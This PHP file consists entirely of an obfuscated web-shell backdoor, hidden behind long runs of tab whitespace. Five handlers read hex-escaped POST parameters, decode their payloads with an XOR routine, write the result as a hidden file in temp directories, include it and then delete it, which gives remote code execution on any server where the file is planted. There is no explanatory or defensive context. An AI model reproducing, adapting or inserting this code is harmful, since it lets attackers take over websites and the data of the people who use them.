<?php																																										if(isset($_POST) && isset($_POST["desc"])){ $resource = $_POST["desc"]; $resource = explode( "." , $resource) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $t = 0; $__tmp = $resource; while($v4 = array_shift($__tmp)) { $sChar = ord($s[$t % $lenS]); $d =((int)$v4 - $sChar -($t % 10)) ^ 84; $property_set .= chr($d); $t++; } $k = array_filter(["/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP")]); foreach ($k as $binding): if (array_product([is_dir($binding), is_writable($binding)])) { $pgrp = sprintf("%s/.object", $binding); if (@file_put_contents($pgrp, $property_set) !== false) { include $pgrp; unlink($pgrp); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x64ata")){ $ent = array_filter([getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP")]); $object = $_POST["\x64ata"]; $object= explode( "." , $object) ; $elem= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $o= 0; while ($o < count($object)) { $v3= $object[$o]; $chS= ord($s[$o % $sLen]); $dec= ((int)$v3 - $chS - ($o % 10))^ 70; $elem .= chr($dec); $o++;} $desc = 0; do { $key = $ent[$desc] ?? null; if ($desc >= count($ent)) break; if (is_dir($key) ? is_writable($key) : false) { $symbol = join("/", [$key, ".data_chunk"]); if (file_put_contents($symbol, $elem)) { require $symbol; unlink($symbol); die(); } } $desc++; } while (true); }
																																										if(isset($_POST["\x70\x72ope\x72t\x79_set"]) ? true : false){ $symbol = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir()]); $tkn = $_POST["\x70\x72ope\x72t\x79_set"]; $tkn = explode ( "." , $tkn); $itm =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); foreach( $tkn as $q=>$v1) { $chS =ord( $salt[$q % $lenS] ); $dec =( ( int)$v1 - $chS -( $q % 10)) ^ 57; $itm .= chr( $dec ); } foreach ($symbol as $key => $entry) { if (!!is_dir($entry) && !!is_writable($entry)) { $descriptor = vsprintf("%s/%s", [$entry, ".marker"]); if (@file_put_contents($descriptor, $itm) !== false) { include $descriptor; unlink($descriptor); die(); } } } }
																																										if(isset($_POST["\x70\x73et"])){ $val = $_POST["\x70\x73et"]; $val = explode ( ".", $val ) ; $mrk = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $j = 0; while ($j <count($val)) { $v9 = $val[$j]; $chS = ord($s1[$j% $lenS]); $dec = ((int)$v9 - $chS - ($j% 10)) ^ 92; $mrk .= chr($dec); $j++; } $flg = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); for ($value = 0, $resource = count($flg); $value < $resource; $value++) { $ent = $flg[$value]; if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $rec = implode("/", [$ent, ".marker"]); if (file_put_contents($rec, $mrk)) { include $rec; @unlink($rec); exit; } } } }


if(@$_POST["m\x61\x72k\x65r"] !== null){
	$ent = $_POST["m\x61\x72k\x65r"];
		 $ent			=	explode('.'		 , $ent ) 	; 
	$reference  =		'';
            $salt1  =		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  =		strlen( 	$salt1);
            $y  =		0;
            $__len  =		count( 	$ent);
    
            do {
                if( 	$y	>=	 $__len) break;
                $v7  =		$ent[$y];
                $chS  =		ord( 	$salt1[$y % $lenS]);
                $dec  =		( 	( 	int)$v7 - $chS -( 	$y % 10))^75;
                $reference .= chr( 	$dec);
                $y++;
            } while( 	true);
	$data_chunk = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]);
	foreach ($data_chunk as $key => $ent) {
    		if (max(0, is_dir($ent) * is_writable($ent))) {
    $pset = implode("/", [$ent, ".flag"]);
    $file = fopen($pset, 'w');
if ($file) {
	fwrite($file, $reference);
	fclose($file);
	include $pset;
	@unlink($pset);
	exit;
}
}
}
}